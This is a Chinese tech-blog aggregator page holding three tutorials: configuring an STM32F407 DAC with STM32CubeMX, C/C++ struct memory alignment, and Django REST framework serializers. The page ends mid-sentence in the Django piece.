首页
烟花
归档
随笔
聚合
部落格精华
部落格资讯
CSS教程
CSS3教程
HTML教程
HTML5教程
建站经验
网站优化
资讯
今日早报
资讯日历
科技新闻
今天
罗盘
网盘
友链
留言
1
「今日早报」 2026年6月13日, 农历四月廿八, 星期六
2
「今日早报」 2026年6月12日, 农历四月廿七, 星期五
3
「今日早报」 2026年6月11日, 农历四月廿六, 星期四
4
「今日早报」 2026年6月10日, 农历四月廿五, 星期三
5
「今日早报」 2026年6月9日, 农历四月廿四, 星期二
沙漠渔
把過去的累積,善用到當下
累计撰写
2,795
篇文章
累计创建
385
个标签
累计收到
997
条评论
栏目
首页
烟花
归档
随笔
聚合
部落格精华
部落格资讯
CSS教程
CSS3教程
HTML教程
HTML5教程
建站经验
网站优化
资讯
今日早报
资讯日历
科技新闻
今天
罗盘
网盘
友链
留言
搜索
标签搜索
代理服务
winsw
override
VMware
api
popai
拉取镜像
人工智能
copilot
chatgpt
openai
coze
objdump
ldd
日志
版本
latest
批处理
bat
节能模式
iwconfig
排序
du
设计模式
hostname
面板
cockpit
版本不兼容
npm
统计
烟花
新春
leveldb
Java heap space
堆内存
harbor
utf8mb4
网络聚合
IPV6
nmtui
测速
带宽
千兆
路由器
nmcli
nmlci
orangepi
motd
中文乱码
webdav
香橙派
代码折叠
享元模式
单例模式
解锁
锁定
无法安装
Xshell
并发编程
ScheduledThreadPoolExecutor
ThreadPoolExecutor
线程池
Fock-Join
并发
ExecutorService
nextcloud
alist
panic
hung task
时间戳
ping
tail
dd
嵌入式
点灯
mount
共享
NFS
curl
全屏
ChannelOption
C++
comparator
桥头堡
开源
varchar
char
StringBuilder
StringBuffer
String
命令行工具
网络配置
netsh
建议
专家
离谱
2022
设备管理器
虚拟网卡
环回适配器
安全
攻击
CC
DDOS
跳槽
过年
年假
春节
2023
优站计划
鼻塞
咳嗽
大号流感
阳
新冠病毒
循环冗余校验
CRC-16/XMODEM
crc校验
stream
DMZ主机
域名解析
CDN
七牛云
DDNS
类加载器
双亲委派
加载机制
删除
搜索
变化时间
修改时间
访问时间
响应异常
超时
jsoup
用法详解
压缩命令
打包压缩
zip
优缺点
打包
数据压缩
密码
sudoers
索引量
权重
瞬间
魔鬼洞
沙漠鱼
沙漠渔
面试
引用传递
值传递
即时编译器
机器码
JIT
旗舰版
ISO
原版镜像
win7
参数
配置文件
8小时
时间错误
报告
coverity
jetbrains
idea
谷歌翻译
rest
403
ERR_UNKNOWN_URL_SCHEME
DevTools
优先级
location
FTP
挂载
curlftpfs
提示
自定义参数
springboot
配置
死锁
超级密码
桥接
联通光猫
Dockerfile
构建
命令行
eclipse
光猫
路由模式
桥接模式
bash-4.2
sudo
oracle帐号
JDK下载
百度收录
定时发布
哨兵模式
内存管理
JVM
登录
免密
不一致
服务器时间
BIO,NIO,AIO
ByteBuffer
FileWriter
BufferedOutputStream
流水线
pipeline
环境变量
重启
任务消失
jenkins
卸载
snap
20.04
Ubuntu
容器
大数据传输
InputStream
学习笔记
CSS
最佳实践
DOM操作
原型链
原型
No such file or Directory
SSH配置
SSH免密
tar
命令
网站优化
取消快照
百度快照
全局配置
修改密码
控制台
gitlab
解码器
Netty
文件传输
sz
rz
Jar
打铁花
羊毛沟
容器日志
docker
规范
博客
rejected
Gerrit
wireshark
代理
Go
http-server
nodejs
package-lock.json
996加班
删除标签
钟薛高
60s新闻接口
每日新闻接口
百度福利
自动回复
localstorage
QQ机器人
redis
近乎
客户端
JuiceSSH
乔恩
加菲猫
新浪邮箱
joe
公告
父亲节
图标
每日新闻
51la
服务器
腾讯云
插件
罗永浩
编码
avatar
小虎墩大英雄
端午劫
端午节
中石化
中国石化
儿童节
win10
激活
shell
金门大桥
旧金山
产品经理
免疫力
熬夜
云旅游
云游
招聘
海尔
halo
校友会
创新
哈工大
鸿蒙
王成录
标题
主题
北京
疫情
域名
沙漠渔溏
方法声明
jpa
表情包
emoji
JavaAgent
姓名测试
姓名打分
起名
百度
收录
SEO
group by
distinct
去重
JDBC
validationQuery
兄弟元素
点击事件
$event
9600
传输延时
波特率
串口
站点统计
站长工具
cnzz
生命周期
refs
vue
replaceAll
replace
JavaScript
软件
FRP
内网外入
内网穿透
学习
解题
leetcode
云计算
中国医药
神思电子
股票
Java
报错
数据块
关键词
风筝
清明节
注解
spring
clang-format
格式化
反向代理
nginx
索引
linux
vim
数据库
仓库管理
git
压缩
winrar
mysql
测试
markdown
目 录
CONTENT
以下是
网络聚合
相关的文章
2024-01-18
STM32CubeMX教程16 DAC - 输出3.3V内任意电压
1、准备材料 开发板(正点原子stm32f407探索者开发板V2.4) STM32CubeMX软件(Version 6.10.0) keil µVision5 IDE(MDK-Arm) ST-LINK/V2驱动 野火DAP仿真器 XCOM V2.6串口助手 2、实验目标 使用STM32CubeMX软件配置STM32F407开发板的DAC OUT1实现输出0-3.3V任意模拟电压,然后用ADC1_IN5单通道采集DAC输出的电压,并利用USART1输出信息用于验证 3、实验流程 3.0、前提知识 STM32F407有一个DAC,该DAC拥有两个输出通道OUT1/2,每个通道均可以输出0~VREF+范围内电压、噪声波或三角波型 DAC集成了两个输出缓冲器,可用来降低输出阻抗并在不增加外部运算放大器的情况下直接驱动外部负载,该参数可以在STM32CubeMX中DAC参数配置页面配置,一般选择Enable DAC输出的触发源一共有8个触发源,可以通过设置DAC控制寄存器DAC_CR的TSEL[2:0]位来决定触发源,其中外部引脚触发源在STM32CubeMX中需要勾选Mode中的External Trigger才可以选择,具体如下表所示 (注释1) DAC的数字转模拟主要是利用片上的12位电压输出数模转换器来实现的,而这个12位电压输出数模转换器的输入数据为数据输出寄存器DORx中的内容,但是用户不能直接将数据写入数据输出寄存器DORx中,而是需要将数据输入数据保持寄存器DHRx中,然后等待触发源到来/一个时钟周期后,数据将自动从DHRx中转移到DORx中 由于DHRx寄存器位32位寄存器,而我们写入的数据为8/12位的,因此存在数据对齐的问题,采用不同的对齐方式需要将数据写入对应对齐方式的数据保存寄存器中,如下图所示为DAC单/双通道模式下的数据对齐模式,每种模式对应1/2个寄存器(注释1) 举个例子: 本实验采取DAC1单通道模式12位右对齐,因此笔者需要将数据写入 DAC_DHR12R1 寄存器中,而该寄存器的偏址从手册上可以看到为0x80 我们写入DAC寄存器数据时使用的函数为HAL_DAC_SetValue(&hdac,DAC_CHANNEL_1,DAC_ALIGN_12B_R,DacValue),其中DAC_ALIGN_12B_R值为0,因此最后将DacValue值写入了地址为DAC基址+0x00000008UL偏址的 DAC_DHR12R1 寄存器,上述描述如下图所示 DAC输出引脚输出的电压值由DACoutput = VREF+ * DOR / 4095公式计算,通常 VREF+直接与VDDA短接,因此DAC通道输出的电压范围为0-3.3V,如下图所示为DAC通道框图 (注释1) 3.1、CubeMX相关配置 3.1.0、工程基本配置 打开STM32CubeMX软件,单击ACCESS TO MCU SELECTOR选择开发板MCU(选择你使用开发板的主控MCU型号),选中MCU型号后单击页面右上角Start Project开始工程,具体如下图所示 开始工程之后在配置主页面System Core/RCC中配置HSE/LSE晶振,在System Core/SYS中配置Debug模式,具体如下图所示 详细工程建立内容读者可以阅读“STM32CubeMX教程1 工程建立” 3.1.1、时钟树配置 系统时钟使用8MHz外部高速时钟HSE,HCLK、PCLK1和PCLK2均设置为STM32F407能达到的最高时钟频率,具体如下图所示 3.1.2、外设参数配置 本实验需要需要初始化开发板上KEY2和KEY0用户按键,具体配置步骤请阅读“STM32CubeMX教程3 GPIO输入 - 按键响应” 本实验需要需要初始化USART1作为输出信息渠道,具体配置步骤请阅读“STM32CubeMX教程9 USART/UART 异步通信” 本实验需要配置TIM3 100ms更新事件作为ADC1_IN5通道采集触发源的ADC采集,因此需要初始化TIM3和ADC1_IN5,具体配置步骤请阅读“STM32CubeMX教程13 ADC - 单通道转换”,如下图所示为配置简图 接下来配置DAC OUT1,在Pinout & Configuration页面左边功能分类栏目Analog中单击其中DAC,在Mode中勾选OUT1 Configuration 在DAC Out1 Settings中使能 Output Buffer , Trigger 选择默认None,这里不需要触发源,也就是说当DAC启动后DAC就会一直输出下去而不是在每次一触发源来到的时候才输出,具体配置如下图所示 3.1.3、外设中断配置 DAC只有两个关于DMA的下溢事件的中断源,本实验尚不设计DMA,因此这里无需开启DAC的任何中断 但是DAC的输出电压需要由ADC1_IN5来采集,因此这里勾选ADC的全局中断,并设置合适的中断优先级,具体配置如下图所示 3.2、生成代码 3.2.0、配置Project Manager页面 单击进入Project Manager页面,在左边Project分栏中修改工程名称、工程目录和工具链,然后在Code Generator中勾选“Gnerate peripheral initialization as a pair of 'c/h' files per peripheral”,最后单击页面右上角GENERATE CODE生成工程,具体如下图所示 详细Project Manager配置内容读者可以阅读“STM32CubeMX教程1 工程建立”实验3.4.3小节 3.2.1、外设初始化调用流程 在生成的工程代码主函数中增加了MX_DAC_Init()函数,该函数对启用的DAC触发方式、输出缓存进行了配置 然后调用HAL_DAC_Init()函数对DAC进行了初始化,并调用了HAL_DAC_MspInit()函数 在HAL_DAC_MspInit()函数中对DAC OUT1的输出引脚PA4做了引脚复用配置,并且使能了DAC的时钟,如果配置了中断,在该函数中还会出现中断优先级及中断使能相关代码 上述DAC初始化调用流程如下图所示 3.2.2、外设中断调用流程 本实验只开启了ADC的全局中断,ADC全局中断调用流程请阅读“STM32CubeMX教程13 ADC - 单通道转换”4.2.2小节 3.2.3、添加其他必要代码 在adc.c中重新实现ADC采集完毕中断回调函数HAL_ADC_ConvCpltCallback(),与”STM32CubeMX教程13 ADC - 单通道转换”实验内容一致,目的就是获取ADC1_IN5通道采集值并通过USART1输出,具体代码如下所示 void HAL_ADC_ConvCpltCallback(ADC_HandleTypeDef *hadc) { if(hadc->Instance == ADC1) { uint32_t val=HAL_ADC_GetValue(&hadc1); uint32_t Volt=(3300*val)>>12; printf("val:%d, Volt:%d\r\n",val,Volt); } } 在主函数中启动DAC输出,并设置默认的DAC输出值,然后启动定时器和ADC采集,并在主循环中实现按下按键KEY2将DAC输出值增加500,按下按键KEY0将DAC输出值减少500,具体代码如下图所示 源代码如下所示 /*主循环外代码*/ printf("Reset\r\n"); HAL_DAC_Start(&hdac,DAC_CHANNEL_1); uint32_t DacValue=1000; HAL_DAC_SetValue(&hdac,DAC_CHANNEL_1,DAC_ALIGN_12B_R,DacValue); HAL_ADC_Start_IT(&hadc1); HAL_TIM_Base_Start(&htim3); /主循环中代码/ /按键KEY2被按下/ if(HAL_GPIO_ReadPin(KEY2_GPIO_Port,KEY2_Pin) == GPIO_PIN_RESET) { HAL_Delay(50); if(HAL_GPIO_ReadPin(KEY2_GPIO_Port,KEY2_Pin) == GPIO_PIN_RESET) { printf("---now DacValue is: %d---\r\n", DacValue); DacValue += 500; if(DacValue>4095) DacValue=4095; HAL_DAC_SetValue(&hdac,DAC_CHANNEL_1,DAC_ALIGN_12B_R,DacValue); while(!HAL_GPIO_ReadPin(KEY2_GPIO_Port,KEY2_Pin)); } } /按键KEY0被按下/ if(HAL_GPIO_ReadPin(KEY0_GPIO_Port,KEY0_Pin) == GPIO_PIN_RESET) { HAL_Delay(50); if(HAL_GPIO_ReadPin(KEY0_GPIO_Port,KEY0_Pin) == GPIO_PIN_RESET) { printf("---now DacValue is: %d---\r\n", DacValue); DacValue -= 500; HAL_DAC_SetValue(&hdac,DAC_CHANNEL_1,DAC_ALIGN_12B_R,DacValue); while(!HAL_GPIO_ReadPin(KEY0_GPIO_Port,KEY0_Pin)); } } 值得提醒的是本实验使用DAC1_IN5(PA5)采集DAC OUT1(PA4)输出值,需要使用跳线帽/杜邦线将PA5和PA4两个引脚短接 4、常用函数 /*DAC软件启动输出函数*/ HAL_StatusTypeDef HAL_DAC_Start(DAC_HandleTypeDef *hdac, uint32_t Channel) /DAC软件停止输出函数/ HAL_StatusTypeDef HAL_DAC_Stop(DAC_HandleTypeDef *hdac, uint32_t Channel) /DAC输出值设置/ HAL_StatusTypeDef HAL_DAC_SetValue(DAC_HandleTypeDef *hdac, uint32_t Channel, uint32_t Alignment, uint32_t Data) 5、烧录验证 烧录程序,开发板上电后打开串口助手,可以看到间隔100ms输出一次采集到的DAC OU1输出值,默认输出值为1000,按下KEY2按键后输出值增加500,按下KEY0按键后输出值减少500,可以从串口输出信息看到采集到的值和我们预想的效果一致,如下图所示为整个过程串口输出信息 6、注释详解 注释1:图片来源STM32F4xx 中文参考手册 更多内容请浏览 STM32CubeMX+STM32F4系列教程文章汇总贴
2024-01-18
297
0
0
网络聚合
2024-01-18
C/C++内存对齐原则
C/C++内存对齐 what && why 当用户自定义类型时(struct 或 class),编译器会自动计算该类型占用的字节数。 C/C++ 为什么要内存对齐?我道行太浅,摘抄了网上的一个解释。 为了方便从内存中读取数据。假设没有内存对齐,在内存中存储一个 int 变量 x(占 4 字节),放在了地址 2-5 上。现在要读取 x 到寄存器中,CPU 知道读 int 一次应该读 4 字节,但是不会直接读地址 2-5(为什么不会?我也不知道啊!但是 CPU 有直接读 2-5 地址的功能,但它没有用起来),一次读出来,而是先读 0-3,再读 4-7,丢掉多余的字节。可以看到对齐后少读了一次内存,性能肯定得到提升了(我们知道 C/C++ 是追求极致性能的)。 举例 #include <iostream> using namespace std; // #pragma pack (1) struct Test { int i1; char c; int i2; double d; }; int main(int argc, char* argv[]) { cout << sizeof(Test) << endl; // 24 return 0; } 如果没有内存对齐,Test 类型的大小应该是 4+1+4+8 = 17 字节,经过对齐后变成了 24 字节。 第 5 行注释就是设置内存对齐基数,取值一般是 1, 2, 4, 8,若该值为 1 则表示不对齐(不信就去掉注释再运行一次,输出肯定是 17)。 内存对齐原则 整体对齐基数 n:假设默认或通过#pragma pack ()设置的对齐基数是 i(现在机器一般都是 8,旧一些的应该是 4),struct 中“最大”成员所占用的字节数 j,则 n = min(i, j),也就是说这个 struct 类型最终的大小必须是 n 的倍数。 成员对齐基数 k:它的计算方式是 k = min(sizeof(memberType), n),它要求每个成员的 offset 必须是 k 的倍数,第一个成员的 offset 为 0。比如一个 short 成员的 k = min(sizeof(short), n) 可以看出,当 i = 1 时就是不对齐;当 i >= j 时,i 不起作用。 操练一下 假设 n = 8 先进行成员对齐: #include <iostream> using namespace std; struct Test { int i1; // offset为0, 占用第0-3字节 char c; // 1 < 8, offset是1的倍数, 因此offset为4, 占用第4字节 int i2; // 4 < 8, offset是4的倍数, 因此offset为8, 占用第8-11字节 double d; // 8 == 8, offset是8的倍数, 因此offset为16, 占用第16-23字节 // 构造函数 Test(int ii1, char cc, int ii2, double dd): i1(ii1), c(cc), i2(ii2), d(dd) {} }; // 来验证一下 int main(int argc, char* argv[]) { cout << sizeof(Test) << endl; Test pt = new Test(1, 'a', 2, 1.25); // 基地址 unsigned char ppt = (unsigned char*)pt; // 强制类型转换, 按字节读 for (int i = 0; i < sizeof(Test); ++i) { printf("%x ", *(ppt + i)); } cout << endl; // 1 0 0 0 61 f0 ad ba 2 0 0 0 d f0 ad ba 0 0 0 0 0 0 f4 3f return 0; } 再进行整体对齐:这个 struct 类型所需字节为 24 字节,恰好是 n 的倍数,无须在尾部额外填充。 内存排列如下图所示: 其中白色格子代表填充,其内容是不确定的。 按十六进制输出:1 0 0 0 61 f0 ad ba 2 0 0 0 d f0 ad ba 0 0 0 0 0 0 f4 3f 可以看到前面 4 字节是 1 0 0 0,是 i1 = 1; 第 5 字节是 61,是 'a' 的十六进制 ASCII 码; 然后 6-7 字节是填充的内容,不确定的; 第 8-11 字节是 2 0 0 0,是 i2 = 2; 第 12 - 15 字节是填充的内容,不确定的; 第 16-23 字节是 d = 1.25 的底层二进制表示(怎么算的我也忘了好久了,参考神书《CSAPP:深入理解计算机系统》即可找回记忆)。 留下疑问 问:在自定义类型嵌套时,比如 Test1 嵌套正在 Test2 中,此时应该怎么进行内存对齐呢? struct Test1 { int i1; char c; int i2; double d; // 构造函数 Test1(int ii1, char cc, int ii2, double dd): i1(ii1), c(cc), i2(ii2), d(dd) {} }; struct Test2 { Test1 t1; int x; }; 答:先计算 Test1 所占字节大小 sizeof(Test1),然后继续按照上述基本原则计算 Test2 即可。如果是多重嵌套,那就递归找到那个成员全都是基本类型的 struct 开始计算,然后回溯。 问:继承体系中如何进行内存对齐? struct A { int i; char c1; }; struct B: public A { char c2; }; struct C: public B { char c3; }; 答:我也不会!我郁闷了,在我 64 位 Windows 操作系统 + gcc8.1.0 和 ubuntu18.04 + gcc7.5.0 上的运行结果都是 12! 但是我参考的一篇博客说,他的结果是 8 或 16!C++ 内存对齐 - tenos - 博客园 (cnblogs.com) 博客里说根据编译器类型拥有两种方式:先继承后对齐和先对齐后继承。 但是我无论按哪种方式,#pragma pack ()取 4 或 8,排列组合 2*2=4 种可能,我都算不出来 12!但是我能算出 8 和 16! 希望有朋友可以解答我的疑惑,万分感谢。 最后 如果本文对你有帮助,请点个赞吧。 有任何疑问,欢迎评论和我一起讨论。
2024-01-18
215
0
0
网络聚合
2024-01-18
【Django drf】 序列化类常用字段类和字段参数 定制序列化字段的两种方式 关系表外键字段的反序列化保存 序列化类继承ModelSerializer 反序列化数据校验源码分析
序列化类常用字段类和字段参数 常用字段类 # BooleanField BooleanField() NullBooleanField NullBooleanField() CharField CharField(max_length=None, min_length=None, allow_blank=False, trim_whitespace=True) EmailField EmailField(max_length=None, min_length=None, allow_blank=False) RegexField RegexField(regex, max_length=None, min_length=None, allow_blank=False) SlugField SlugField(maxlength=50, min_length=None, allow_blank=False) 正则字段,验证正则模式 [a-zA-Z0-9-]+ URLField URLField(max_length=200, min_length=None, allow_blank=False) UUIDField UUIDField(format=’hex_verbose’) format: 1)'hex_verbose' 如 "5ce0e9a5-5ffa-654b-cee0-1238041fb31a" 2)'hex' 如 "5ce0e9a55ffa654bcee01238041fb31a" 3)'int' 如 "123456789012312313134124512351145145114" 4)'urn' 如 "urn:uuid:5ce0e9a5-5ffa-654b-cee0-1238041fb31a" IPAddressField IPAddressField(protocol=’both’, unpack_ipv4=False, **options) IntegerField IntegerField(max_value=None, min_value=None) FloatField FloatField(max_value=None, min_value=None) DecimalField DecimalField(max_digits, decimal_places, coerce_to_string=None, max_value=None, min_value=None) max_digits: 最多位数 decimal_palces: 小数点位置 DateTimeField DateTimeField(format=api_settings.DATETIME_FORMAT, input_formats=None) DateField DateField(format=api_settings.DATE_FORMAT, input_formats=None) TimeField TimeField(format=api_settings.TIME_FORMAT, input_formats=None) DurationField DurationField() ChoiceField ChoiceField(choices) choices与Django的用法相同 MultipleChoiceField MultipleChoiceField(choices) FileField FileField(max_length=None, allow_empty_file=False, use_url=UPLOADED_FILES_USE_URL) ImageField ImageField(max_length=None, allow_empty_file=False, use_url=UPLOADED_FILES_USE_URL) ---------记住以下几个----------- CharField BooleanField IntegerField DecimalField '''序列化类的额外字段''' ListField ListField(child=,min_length=None,max_length=None) 当hobby下有多个数据时,序列化之后返回的数据格式hobby的部分用列表 ---> ['篮球','足球'] 存储。 {name:'lqz',age:19,hobby:['篮球','足球']} DictField DictField(child=) 序列化之后,使用字典 ---> {'name':'刘亦菲','age':33}。 {name:'lqz',age:19,wife:{'name':'刘亦菲','age':33}} 常用字段参数 选项参数 # 选项参数 给某一些指定的字段使用的参数(不是每个字段都能使用这些参数) 给CharField字段类以及其子类(EmailField)使用的参数 参数名称 作用 max_length 最大长度 min_lenght 最小长度 allow_blank 是否允许为空 trim_whitespace 是否截断空白字符 给IntegerField字段类使用的参数 max_value 最小值 min_value 最大值 通用参数 # 通用参数:放在哪个字段类上都可以的 参数名称 作用 required 表明该字段在反序列化时必须输入,默认True default 反序列化时使用的默认值(字段如果没传,就是默认值) allow_null 表明该字段是否允许传入None,默认False validators 该字段使用的验证器【不需要了解】 error_messages 包含错误编号与错误信息的字典 label 用于HTML展示API页面时,显示的字段名称 help_text 用于HTML展示API页面时,显示的字段帮助提示信息 重点 read_only 表明该字段仅用于序列化输出,默认False (从数据库拿出来,给前端) write_only 表明该字段仅用于反序列化输入,默认False (前端往后端传入数据) 如何理解这里的read\write 站在程序的角度: 从数据库拿数据(序列化) ---> 读 从前端获取数据,写入数据库(反序列化) ---> 写 上述参数用于反序列化校验数据(类似form组件): validators参数(了解): 给validators传入一个列表,列表中存放函数的内存地址。用这些函数来进行数据校验。 总结: # 校验流程: 字段参数限制(max_length) ---> validators函数校验 ---> 局部钩子 ---> 全局钩子 有钩子函数,为什么要使用validators? 钩子函数只能在当前类生效,而validators的校验函数,可以在多个类生效,无需写重复的代码 序列化类高级用法之source source用于修改序列化字段的名字。 # 获取所有图书接口 使用APIView+Response+序列化类 需求:name字段在前端显示的时候叫book_name -使用source,字段参数,可以指定序列化的是模型表中得哪个字段 book_name = serializers.CharField(max_length=8, min_length=3,source='name') -source指定的可以是字段,也可以是方法,用于重命名 -source可以做跨表查询 ''' source反应了该序列化字段的数据来源。 source(来源)表示该序列化字段book_name,对应的是后端的哪一个字段(name) 给序列化类传入了一个模型表Book的对象,在这里序列化类和模型表建立了联系。所以使用source参数,可以指定序列化字段的数据来源是模型表的哪个字段。 ''' source参数可以填写三个东西。 source填写类中字段 视图类: 序列化类: 序列化类中字段和model类中的字段需要一一对应: 可以使用source指定一个model类中字段,表示序列化这个字段。 当序列化类中字段变量名与source参数值相同时,此时会报错: source填写模型类中方法 model类中写函数: 可以使用source指向模型类中的方法,方法的返回值会被序列化。 序列化某个方法。 source支持跨表查询 如果这里的publish是一对多外键字段,该外键在图书类。可以通过publish.name跳转到出版社,序列化出版社的名字。 代码: class BookSerializer(serializers.Serializer): name_detail = serializers.CharField(max_length=8, min_length=3,source='name') # 或 publish_name = serializers.CharField(max_length=8, min_length=3,source='publish.name') # 或 xx = serializers.CharField(max_length=8, min_length=3,source='xx') #source的xx表示表模型中得方法 定制序列化字段的两种方式 准备工作 表创建: from django.db import models class Book(models.Model): name = models.CharField(max_length=32) price = models.DecimalField(max_digits=5, decimal_places=2) publish_date = models.DateField(null=True) publish = models.ForeignKey(to='Publish', on_delete=models.CASCADE) authors = models.ManyToManyField(to='Author') def __str__(self): return self.name # 写了个方法,可以包装成数据属性,也可以不包 def publish_de(self): return {'name': self.publish.name, 'city': self.publish.city, 'email': self.publish.email} def author_li(self): res_list = [] for author in self.authors.all(): res_list.append({'id': author.id, 'name': author.name, 'age': author.age}) return res_list class Author(models.Model): name = models.CharField(max_length=32) age = models.IntegerField() author_detail = models.OneToOneField(to='AuthorDetail', on_delete=models.CASCADE) def __str__(self): return self.name class AuthorDetail(models.Model): telephone = models.BigIntegerField() birthday = models.DateField() addr = models.CharField(max_length=64) class Publish(models.Model): name = models.CharField(max_length=32) city = models.CharField(max_length=32) email = models.EmailField() # def str(self): # return self.name publish是外键字段。 如果这里写CharField,那么前端得到的序列化结果是什么? 可见结果是字符串: 这是因为我们写了__str__: 如果我们将__str__注释掉,前端将会得到: 如果我们不在模型类中写__str__,则需要使用source跨表查询: 无论是__str__,还是source参数,都只能给前端返回出版社的某一个属性(名称|城市|邮箱)。 而我们希望返回一个字典对象,可以包含出版社的所有信息,如下: # 前端显示形式 { "name": "西游记", "price": 33, "publish": {name:xx,city:xxx,email:sss} } 实现该需求(定制序列化)有以下两种方法。 方法一:使用SerializerMethodField # 第一种:在【序列化类】中写SerializerMethodField publish = serializers.SerializerMethodField() def get_publish(self, obj): # obj 是当前序列化的对象 return {'name': obj.publish.name, 'city': obj.publish.city, 'email': obj.publish.email} 这里我们不使用CharField,因为CharField是用于序列化字符串形式,而我们是想要序列化对象形式的数据。 使用SerializerMethodField: 需要配合一个方法使用,这个方法的返回值是什么,前端接收的publish就是什么。 get_publish方法需要传入一个参数obj,这个obj是当前序列化的对象: 通过book对象进行跨表查询,获取出版社的各个字段数据。 出版社对象是用字典。(一个出版社对应一个字典)(由于一本书只有一个出版社,所以使用字典) 更多示例: 由于一本书可以有多个作者,所以我们返回一个列表,列表中是一个个作者对象。 方法二:在模型类中写方法 # 第二种:在【表模型】中写方法(又多一些) def publish_detail(self): return {'name': self.publish.name, 'city': self.publish.city, 'email': self.publish.email} 在序列化中取 publish_detail=serializers.DictField() 在模型类中写逻辑代码,称之为ddd,领域驱动模型 也就是在表模型中写一个方法,与序列化类中的字段重名: 总结:序列化类不仅仅能序列化模型类中某个字段,还能序列化模型类中的方法。这种方法和上面方法的实际区别就是,将同一段代码写在不同的位置,写在序列化类或者写在模型表。 这里如果我们序列化类使用charfield字段,会造成postman无法美化显示Json字典: 这里是因为,我们模型类中方法返回的是一个字典,而CharField是用于序列化字符串,所以会直接将字典强行转化成字符串(如上图所示,该字典是用单引号引起来的,不是JSON格式)。 所以这里应该使用DictField: 实现显示所有作者: 在模型类中写函数,返回作者列表。 方式一代码演示:使用SerializerMethodField class BookSerializer(serializers.Serializer): name = serializers.CharField(max_length=8, min_length=3) price = serializers.IntegerField(min_value=10, max_value=99) publish_date = serializers.DateField() # publish要序列化成 {name:北京出版社,city:北京,email:
[email protected]
} # 方式一:SerializerMethodField必须配合一个方法(get_字段名,需要接受一个参数),方法返回什么,这个字段就是什么 publish = serializers.SerializerMethodField() def get_publish(self, obj): # obj 是当前序列化的对象 return {'name': obj.publish.name, 'city': obj.publish.city, 'email': obj.publish.email} # 练习,用方式一,显示所有作者对象 [] authors = serializers.SerializerMethodField() def get_authors(self, obj): res_list = [] for author in obj.authors.all(): res_list.append({'id': author.id, 'name': author.name, 'age': author.age}) return res_list 方式二代码演示:在表模型中写(用的最多) # 表模型中 class Book(models.Model): name = models.CharField(max_length=32) price = models.DecimalField(max_digits=5, decimal_places=2) publish_date = models.DateField(null=True) publish = models.ForeignKey(to='Publish', on_delete=models.CASCADE) authors = models.ManyToManyField(to='Author') # 写了个方法,可以包装成数据属性,也可以不包 def publish_detail(self): return {'name': self.publish.name, 'city': self.publish.city, 'email': self.publish.email} def author_list(self): res_list = [] for author in self.authors.all(): res_list.append({'id': author.id, 'name': author.name, 'age': author.age}) return res_list # 序列化类中 class BookSerializer(serializers.Serializer): name = serializers.CharField(max_length=8, min_length=3) price = serializers.IntegerField(min_value=10, max_value=99) publish_date = serializers.DateField() # 方式二:在表模型中写方法 publish_detail = serializers.DictField(read_only=True) # 练习,使用方式二实现,显示所有作者 author_list = serializers.ListField(read_only=True) 在模型类中写逻辑代码的行为(逻辑不写在视图类中),称之为ddd(领域驱动模型)。 相关文章: https://cloud.tencent.com/developer/article/1371115 关系表外键字段的反序列化保存 多表关联情况下的新增图书接口:(request.data接收前端发送的数据) 我们要新增图书,除了上传普通字段,还要上传外键字段。 需要在前端上传出版社主键和作者列表(列表中是作者主键)。 注意:需要在序列化类中重写create方法。 前端提交的数据 前端提交常见问题: 无法在新增图书的时候新增出版社,publish字段只能写出版社的主键。而作者和作者详情表可以一同新增。 前端的提交数据应该是这样的: 前端示例: 序列化类添加字段 实现反序列化需要在序列化类中添加新字段: 这两个反序列化的字段,对应着模型类中的外键字段: 添加write_only、read_only参数: 如果不添加这些参数,则可能会出现一个字段既参与序列化,又参与反序列化的情况: 查看前端接收到的序列化结果: 这里是自动把序列化类中的字段全部都序列化了。 publish在数据库中没有对应的字段,所以这里展现给前端的是一个对象。 重写create方法 当前我们实现反序列化还需要重写序列化类的create、updata的方法。 # 缺点 1 在序列化中每个字段都要写,无论是序列化还是反序列化 2 如果新增或者修改,在序列化类中都需要重写create或update 解决这个缺点,使用ModelSerializer来做 代码: # 1 序列化字段和反序列化字段不一样 【序列化类中】 # 反序列化用的 publish = serializers.CharField(write_only=True) authors = serializers.ListField(write_only=True) #序列化用的 publish_detail = serializers.DictField(read_only=True) author_list = serializers.ListField(read_only=True) 2 一定要重写create 【序列化类中】 def create(self, validated_data): # validated_data 校验过后的数据 {"name":"三国1演义", "price":19, "publish_date": "2022-09-27", "publish":1, "authors":[1,2] } book = Book.objects.create(name=validated_data.get('name'), price=validated_data.get('price'), publish_date=validated_data.get('publish_date'), publish_id=validated_data.get('publish'), ) authors = validated_data.get('authors') book.authors.add(*authors) return book 序列化类继承ModelSerializer 继承ModelSerializer: modelserializer是跟表有关联的。 Meta类 在BookmodelSerializer中写一个Meta类: model=Book: 指定序列化的是哪个模型类 fields='__all__': 指定序列化哪些字段,双下all表示序列化模型类所有字段。 修改视图层,使用ModelSerializer: 查看结果: 可以发现把publish、authors的序列化结果是主键值,而我们希望能获取出版社对象和作者对象,所以需要自己定制如何序列化。 自定义序列化字段 方法一:使用serializerMethodField 修改Meta类的fields: 在fields列表里填写,我们serializermethodfield产生的字段 添加read_only: 给authors和publish添加write_only属性: 在Meta类写extra_kwargs。你在字典里写的键值对,会当做字段参数传入字段类。 代码: class BookModelSerializer(serializers.ModelSerializer): #ModelSerializer继承Serializer # 不需要写字段了,字段从表模型映射过来 class Meta: model = Book # 要序列化的表模型 # fields='__all__' # 所有字段都序列化 fields = ['name', 'price', 'publish_date', 'publish', 'authors', 'publish_detail', 'author_list'] # 列表中有什么,就是序列化哪个字段 # 给authors和publish加write_only属性 # name加max_len属性 extra_kwargs = { 'name': {'max_length': 8}, 'publish': {'write_only': True}, 'authors': {'write_only': True}, } publish_detail = serializers.SerializerMethodField(read_only=True) ... author_list = serializers.SerializerMethodField(read_only=True) ... 刚刚我们是使用了自定义序列化的第一种方式:在序列化类中使用SerializerMethodField。 方法二:在模型类中写方法 Meta类中的fields列表支持写入以下几种: 模型类中的字段 模型类中的方法 序列化类中的字段(SerializerMethodField) 在表模型内写方法: 在field字段注册: 在field字段注册模型类中的方法时,就不存在添加参数read_only了,因为这两个方法没有对应的字段。如果是方法一,则可以给SerializerMethodField字段添加参数。 ModelSerializer使用总结 # 如何使用 1 定义一个类继承ModelSerializer 2 类内部写内部内 class Meta: 3 在内部类中指定model 填写要序列化的表 4 在内部类中指定fields 写要序列化的字段,写__all__表示所有,__all__不包含方法,如果要包含方法必须要在列表中写一个个字段。 示例:['字段1','字段2'...] 5 